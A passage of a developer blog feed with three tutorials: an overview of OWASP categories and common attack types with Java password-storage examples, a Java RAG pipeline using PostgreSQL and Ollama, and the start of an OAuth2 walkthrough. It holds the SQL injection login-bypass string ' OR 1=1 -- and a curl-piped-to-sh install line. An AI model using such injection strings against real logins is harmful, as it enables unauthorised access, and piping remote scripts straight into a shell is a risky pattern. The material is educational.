  The Role of OWASP (Open Worldwide Application Security Project)
&lt;/h3&gt;

&lt;p&gt;Learn more: &lt;a href="https://owasp.org/" rel="noopener noreferrer"&gt;https://owasp.org/&lt;/a&gt;&lt;br&gt;
When discussing application security, it’s hard to ignore OWASP.&lt;/p&gt;

&lt;p&gt;OWASP is a nonprofit foundation that provides open-source resources, tools, and best practices to help developers build secure applications.&lt;/p&gt;

&lt;p&gt;One of its most well-known contributions is the OWASP Top 10, which highlights the most critical web security risks.&lt;/p&gt;
&lt;h3&gt;
  
  
  OWASP Top 10 (2025)
&lt;/h3&gt;

&lt;p&gt;Full list: &lt;a href="https://owasp.org/Top10/2025/" rel="noopener noreferrer"&gt;https://owasp.org/Top10/2025/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A01: Broken Access Control&lt;/li&gt;
&lt;li&gt;A02: Security Misconfiguration&lt;/li&gt;
&lt;li&gt;A03: Software Supply Chain Failures&lt;/li&gt;
&lt;li&gt;A04: Cryptographic Failures&lt;/li&gt;
&lt;li&gt;A05: Injection&lt;/li&gt;
&lt;li&gt;A06: Insecure Design&lt;/li&gt;
&lt;li&gt;A07: Authentication Failures&lt;/li&gt;
&lt;li&gt;A08: Software or Data Integrity Failures&lt;/li&gt;
&lt;li&gt;A09: Security Logging and Alerting Failures&lt;/li&gt;
&lt;li&gt;A10: Mishandling of Exceptional Conditions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These categories are widely used as a baseline for secure application design.&lt;/p&gt;
&lt;h3&gt;
  
  
  A Simple Classification of Cybersecurity Attacks
&lt;/h3&gt;

&lt;p&gt;To make sense of the landscape, we can group common attacks into four practical categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web Attacks&lt;/li&gt;
&lt;li&gt;Authentication Attacks&lt;/li&gt;
&lt;li&gt;Network Attacks&lt;/li&gt;
&lt;li&gt;Human (Social Engineering) Attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some threats span multiple areas, so we’ll also note a few cross-category cases.&lt;/p&gt;
&lt;h3&gt;
  
  
  🌐 Web Attacks (Application Layer)
&lt;/h3&gt;

&lt;p&gt;These target application logic, APIs, and user input handling.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Injection Attacks (SQL, Command, LDAP)&lt;/p&gt;

&lt;p&gt;→ Example: ' OR 1=1 -- login bypass&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Scripting (XSS)&lt;/p&gt;

&lt;p&gt;→ Injecting malicious JavaScript into web pages&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Request Forgery (CSRF)&lt;/p&gt;

&lt;p&gt;→ Forcing a logged-in user to perform unintended actions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Broken Access Control&lt;/p&gt;

&lt;p&gt;→ Accessing unauthorized data (e.g., changing /user/123 to /user/124)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Security Misconfiguration&lt;/p&gt;

&lt;p&gt;→ Default credentials, open ports, debug settings&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Insecure Deserialization&lt;/p&gt;

&lt;p&gt;→ Executing malicious code via manipulated serialized objects&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🔑 Authentication Attacks
&lt;/h3&gt;

&lt;p&gt;These focus on compromising login systems and user identities.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brute Force / Dictionary Attacks&lt;/li&gt;
&lt;li&gt;Session Hijacking / Fixation&lt;/li&gt;
&lt;li&gt;Rainbow Table Attacks (password hash cracking technique)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🧠 Network Attacks
&lt;/h3&gt;

&lt;p&gt;These target communication between systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Man-in-the-Middle (MITM)&lt;/p&gt;

&lt;p&gt;→ Intercepting data in transit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Denial of Service (DoS / DDoS)&lt;br&gt;
→ Overwhelming systems to make them unavailable&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🧑‍💻 Human Attacks (Social Engineering)
&lt;/h3&gt;

&lt;p&gt;These exploit human behavior rather than systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Phishing (Email, SMS, Voice)&lt;/p&gt;

&lt;p&gt;→ Trick users into revealing sensitive data&lt;br&gt;
💡 These are among the most successful real-world attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🔄 Cross-Category / Special Cases
&lt;/h3&gt;

&lt;p&gt;Some threats don’t fit neatly into one category:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malware (virus, ransomware, spyware)&lt;/li&gt;
&lt;li&gt;Zero-day exploits (attacks on unknown vulnerabilities)
These can impact multiple layers—from applications to networks to users.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  A Quick Example: How Vulnerabilities Start in Code
&lt;/h3&gt;

&lt;p&gt;At this point, you might be wondering:&lt;br&gt;
“These attacks sound serious—but how do they relate to the code we write every day?”&lt;/p&gt;

&lt;p&gt;Let’s look at a simple backend example that illustrates how easily security vulnerabilities can be introduced.&lt;/p&gt;

&lt;p&gt;This example focuses on password handling, but the same principle applies across all categories—small implementation choices can introduce major vulnerabilities.&lt;/p&gt;

&lt;p&gt;Security vulnerabilities are often not caused by complex systems—but by small, overlooked decisions in everyday code.&lt;/p&gt;

&lt;p&gt;❌ Insecure Approach: Plain Text Storage&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"admin123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// storing plain text ❌&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a database is compromised, attackers immediately gain access to user passwords.&lt;/p&gt;

&lt;p&gt;⚠️ Slightly Better: Hashing (But Still Weak)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hashing improves security, but it’s still vulnerable to precomputed attacks (like rainbow tables).&lt;/p&gt;

&lt;p&gt;✅ Better Approach (Conceptual)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;saltedPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;randomSalt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding randomness makes attacks significantly harder.&lt;/p&gt;

&lt;p&gt;We’ll explore why this matters in detail when we dive into authentication attacks in the next article.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;/p&gt;

&lt;p&gt;Cybersecurity isn’t just about preventing attacks—it’s about building systems that are resilient by design.&lt;/p&gt;

&lt;p&gt;As we’ve seen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attacks can target applications, networks, and even people&lt;/li&gt;
&lt;li&gt;Many vulnerabilities originate from small design or coding decisions&lt;/li&gt;
&lt;li&gt;Understanding attack patterns is the first step toward preventing them&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What’s Next?&lt;br&gt;
In the next article, we’ll take a deeper look at authentication attacks, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How attackers crack passwords&lt;/li&gt;
&lt;li&gt;What rainbow table attacks are&lt;/li&gt;
&lt;li&gt;Why techniques like salting are critical&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>webdev</category>
      <category>java</category>
    </item>
    <item>
      <title>Build a RAG Pipeline in Java (Text Vector LLM, No Paid APIs)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Wed, 01 Apr 2026 23:23:34 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/build-a-rag-pipeline-in-java-text-vector-llm-no-paid-apis-3lc3</link>
      <guid>https://dev.to/sanjayghosh/build-a-rag-pipeline-in-java-text-vector-llm-no-paid-apis-3lc3</guid>
      <description>&lt;p&gt;Ever asked an LLM a question about your own data and received an incorrect or generic answer?&lt;/p&gt;

&lt;p&gt;That’s because Large Language Models (LLMs) don’t know your private data.&lt;/p&gt;

&lt;p&gt;In this article, we’ll build a complete &lt;strong&gt;Retrieval-Augmented Generation (RAG)&lt;/strong&gt; pipeline using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Java&lt;/li&gt;
&lt;li&gt;PostgreSQL (with vector support)&lt;/li&gt;
&lt;li&gt;Ollama (local LLM + embeddings)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 No OpenAI / No paid APIs&lt;br&gt;
👉 Fully local&lt;br&gt;
👉 Practical and production-relevant&lt;/p&gt;
&lt;h3&gt;
  
  
  🧠 What is RAG?
&lt;/h3&gt;

&lt;p&gt;Retrieval-Augmented Generation (RAG) is an architecture that improves LLM responses by:&lt;/p&gt;

&lt;p&gt;Retrieving relevant data from a knowledge source&lt;br&gt;
Passing that data to the LLM&lt;br&gt;
Generating an answer grounded in that context&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;p&gt;Instead of guessing, the model first looks up relevant information and then answers.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔍 Why Do We Need RAG?
&lt;/h3&gt;

&lt;p&gt;LLMs are powerful, but they have limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ They don’t know your private/company data&lt;/li&gt;
&lt;li&gt;❌ Their knowledge is static&lt;/li&gt;
&lt;li&gt;❌ They can hallucinate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RAG solves this by combining:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your data (database)&lt;/li&gt;
&lt;li&gt;Smart retrieval (vector search)&lt;/li&gt;
&lt;li&gt;LLM reasoning (generation)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  📊 RAG Flow (This Project)
&lt;/h3&gt;

&lt;p&gt;We will implement this pipeline:&lt;br&gt;
Text → Embedding → Store in DB&lt;/p&gt;

&lt;p&gt;Query → Embedding&lt;br&gt;
        ↓&lt;br&gt;
   Vector Search (Top K)&lt;br&gt;
        ↓&lt;br&gt;
   Pass to LLM&lt;br&gt;
        ↓&lt;br&gt;
   Final Answer&lt;/p&gt;
&lt;h3&gt;
  
  
  ⚙️ Prerequisites
&lt;/h3&gt;
&lt;h4&gt;
  
  
  1. Install PostgreSQL
&lt;/h4&gt;

&lt;p&gt;Make sure PostgreSQL is installed and running.&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Install Ollama (Local LLM)
&lt;/h4&gt;

&lt;p&gt;sudo apt-get install zstd&lt;br&gt;
curl -fsSL &lt;a href="https://ollama.com/install.sh" rel="noopener noreferrer"&gt;https://ollama.com/install.sh&lt;/a&gt; | sh&lt;/p&gt;
&lt;h4&gt;
  
  
  3. Pull Required Models
&lt;/h4&gt;

&lt;p&gt;# LLM (for answer generation)&lt;br&gt;
ollama pull llama3&lt;/p&gt;

&lt;p&gt;# Embedding model&lt;br&gt;
ollama pull nomic-embed-text&lt;/p&gt;
&lt;h4&gt;
  
  
  4. Verify Installation
&lt;/h4&gt;

&lt;p&gt;ollama run llama3&lt;br&gt;
If it responds, you’re ready.&lt;/p&gt;
&lt;h3&gt;
  
  
  🟢 Phase 1: Indexing (Store Data)
&lt;/h3&gt;

&lt;p&gt;In this phase, we:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Convert text → vector (embedding)&lt;/li&gt;
&lt;li&gt;Store it in PostgreSQL&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  Why Embeddings?
&lt;/h4&gt;

&lt;p&gt;Embeddings convert text into numbers so we can measure similarity.&lt;br&gt;
Example:&lt;br&gt;
&lt;code&gt;"OAuth authentication"&lt;br&gt;
→ [0.12, -0.98, 0.45, ...]&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Database Table
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;CREATE TABLE text_embeddings (&lt;br&gt;
    id SERIAL PRIMARY KEY,&lt;br&gt;
    content TEXT,&lt;br&gt;
    embedding VECTOR(768)&lt;br&gt;
);&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: EmbeddingService.java
&lt;/h4&gt;

&lt;p&gt;Calls Ollama&lt;br&gt;
Converts text → vector&lt;/p&gt;

&lt;p&gt;Snippet&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;ClassicHttpResponse&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ClassicHttpResponse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;post&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:11434/api/embeddings"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;bodyString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="nc"&gt;ContentType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;execute&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;returnResponse&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns a numerical vector representation of the input text, which we store in the database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Key Class: StorageService.java
&lt;/h4&gt;

&lt;p&gt;Stores text + embedding into PostgreSQL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="s"&gt;"INSERT INTO text_embeddings (content, embedding) VALUES (?, ?::vector)"&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeUpdate&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each piece of text is stored along with its vector representation.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔵 Phase 2: Query (RAG Flow)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Step 1: User Query
&lt;/h4&gt;

&lt;p&gt;"What is OAuth?"&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 2: Convert Query → Embedding
&lt;/h4&gt;

&lt;p&gt;Same process as storing text.&lt;/p&gt;

&lt;h4&gt;
  
  
  Step 3: Retrieve Relevant Data
&lt;/h4&gt;

&lt;p&gt;SELECT content&lt;br&gt;
FROM text_embeddings&lt;br&gt;
ORDER BY embedding &amp;lt;-&amp;gt; ?::vector&lt;br&gt;
LIMIT 3;&lt;br&gt;
👉 This finds the most similar text chunks&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: Retriever.java
&lt;/h4&gt;

&lt;p&gt;This is the R (Retrieval) in RAG.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;PreparedStatement&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;prepareStatement&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
            &lt;span class="sh"&gt;"""
            SELECT content
            FROM text_embeddings
            ORDER BY embedding &amp;lt;-&amp;gt; ?::vector
            LIMIT ?
            """&lt;/span&gt;
        &lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vector&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setInt&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;topK&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;ResultSet&lt;/span&gt; &lt;span class="n"&gt;rs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ps&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;executeQuery&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Step 4: Generate Answer Using LLM
&lt;/h4&gt;

&lt;p&gt;We pass retrieved data to the LLM:&lt;/p&gt;

&lt;p&gt;Context:&lt;br&gt;
OAuth 2.0 is an authorization framework...&lt;/p&gt;

&lt;p&gt;Question:&lt;br&gt;
What is OAuth?&lt;/p&gt;

&lt;p&gt;👉 The LLM generates a clean answer.&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: LLMService.java
&lt;/h4&gt;

&lt;p&gt;This is the G (Generation) in RAG.&lt;br&gt;
Passing Context to the LLM&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;prompt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"""
                        Answer briefly in 2-3 sentences.

                        Context:
                        %s

                        Question:
                        %s
                        """&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;formatted&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We inject retrieved data into the prompt so the LLM generates grounded answers.&lt;/p&gt;

&lt;p&gt;🧪 Sample Output&lt;br&gt;
--- Retrieved Context ---&lt;br&gt;
OAuth 2.0 is an authorization framework.&lt;br&gt;
JWT is used for secure authentication.&lt;/p&gt;

&lt;p&gt;--- Final Answer ---&lt;br&gt;
OAuth is an authorization framework used to grant access to resources...&lt;br&gt;
🧠 What’s Really Happening?&lt;/p&gt;

&lt;p&gt;This is the most important part to understand:&lt;/p&gt;

&lt;p&gt;Component   Role&lt;br&gt;
Database    Stores knowledge&lt;br&gt;
Retriever   Finds relevant information&lt;br&gt;
LLM Generates answer&lt;/p&gt;

&lt;p&gt;👉 The LLM does NOT retrieve data&lt;br&gt;
👉 The database does NOT generate answers&lt;/p&gt;

&lt;h4&gt;
  
  
  💻 Full Code
&lt;/h4&gt;

&lt;p&gt;The project includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;EmbeddingService.java&lt;/li&gt;
&lt;li&gt;StorageService.java&lt;/li&gt;
&lt;li&gt;Retriever.java&lt;/li&gt;
&lt;li&gt;LLMService.java&lt;/li&gt;
&lt;li&gt;RAGApp.java&lt;/li&gt;
&lt;li&gt;pom.xml&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  👉 GitHub Repository
&lt;/h4&gt;

&lt;p&gt;&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG" rel="noopener noreferrer"&gt;https://github.com/knowledgebase21st/Software-Engineering/tree/dev/AI/RAG&lt;/a&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  🚀 Why This Approach is Powerful
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Works with your own data&lt;/li&gt;
&lt;li&gt;Reduces hallucination&lt;/li&gt;
&lt;li&gt;Fully offline (with Ollama)&lt;/li&gt;
&lt;li&gt;Production-ready pattern&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  ✅ Conclusion
&lt;/h4&gt;

&lt;p&gt;We built a complete RAG pipeline using Java, PostgreSQL, and Ollama.&lt;/p&gt;

&lt;p&gt;This approach combines:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your data&lt;/li&gt;
&lt;li&gt;Smart retrieval&lt;/li&gt;
&lt;li&gt;LLM reasoning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Result:&lt;br&gt;
&lt;code&gt;Accurate, context-aware answers using your own knowledge base.&lt;/code&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>machinelearning</category>
      <category>postgres</category>
      <category>rag</category>
    </item>
    <item>
      <title>Understanding OAuth2 Flow with a Complete Java Servlet Demo (Step-by-Step)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Wed, 25 Mar 2026 21:30:07 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-oauth2-flow-with-a-complete-java-servlet-demo-step-by-step-3bai</link>
      <guid>https://dev.to/sanjayghosh/understanding-oauth2-flow-with-a-complete-java-servlet-demo-step-by-step-3bai</guid>
      <description>&lt;p&gt;OAuth2 is everywhere.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Login with Google”&lt;/li&gt;
&lt;li&gt;“Continue with GitHub”&lt;/li&gt;
&lt;li&gt;“Sign in with Microsoft”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We use it daily—but when it comes to explaining how it actually works, things quickly get confusing.&lt;/p&gt;

&lt;p&gt;Most tutorials either:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Explain only the theory ❌&lt;/li&gt;
&lt;li&gt;Or show isolated code without context ❌&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Very few connect the full &lt;strong&gt;flow end-to-end&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  🎯 What This Article Does Differently
&lt;/h4&gt;

&lt;p&gt;In this article, we will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Break down the &lt;strong&gt;4 core actors&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Walk through the &lt;strong&gt;entire OAuth2 flow&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Map each step to &lt;strong&gt;working Java servlet code&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Build a &lt;strong&gt;complete runnable demo&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h4&gt;
  
  
  🧠 The Key Idea (Read This First)
&lt;/h4&gt;

&lt;p&gt;OAuth2 is &lt;strong&gt;not about authentication&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;It is about &lt;strong&gt;delegating access&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of giving your username/password to an application, you allow it to access your data using a &lt;strong&gt;token issued by a trusted server&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  🔷 Actors in OAuth2
&lt;/h3&gt;

&lt;p&gt;This framework involves four key roles:&lt;/p&gt;

&lt;h4&gt;
  
  
  1. Resource Owner (User)
&lt;/h4&gt;

&lt;p&gt;The user who owns the data&lt;br&gt;
Grants or denies access&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Client (Application)
&lt;/h4&gt;

&lt;p&gt;The application requesting access to user data&lt;/p&gt;
&lt;h4&gt;
  
  
  3. Authorization Server
&lt;/h4&gt;

&lt;p&gt;Authenticates the user&lt;br&gt;
Issues authorization code and access token&lt;/p&gt;
&lt;h4&gt;
  
  
  4. Resource Server
&lt;/h4&gt;

&lt;p&gt;Hosts protected data&lt;br&gt;
Validates access tokens before responding&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 Real-World Example
&lt;/h3&gt;

&lt;p&gt;A common example is “Login with Google”.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;User&lt;/strong&gt; → You&lt;br&gt;
&lt;strong&gt;Client&lt;/strong&gt; → Airbnb&lt;br&gt;
&lt;strong&gt;Authorization Server&lt;/strong&gt; → Google&lt;br&gt;
&lt;strong&gt;Resource Server&lt;/strong&gt; → Google APIs&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flow&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;You click “Login with Google”&lt;/li&gt;
&lt;li&gt;You are redirected to Google&lt;/li&gt;
&lt;li&gt;You login and click &lt;strong&gt;Allow&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Google sends a **code **to the client&lt;/li&gt;
&lt;li&gt;Client exchanges code for &lt;strong&gt;token&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Client fetches your data using the token&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;👉 This is exactly what we will implement.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔷 High-Level Flow
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Client requests authorization from the user&lt;/li&gt;
&lt;li&gt;User authenticates and grants/denies access&lt;/li&gt;
&lt;li&gt;Authorization Server returns an &lt;strong&gt;authorization code&lt;/strong&gt;
&lt;/li&gt;
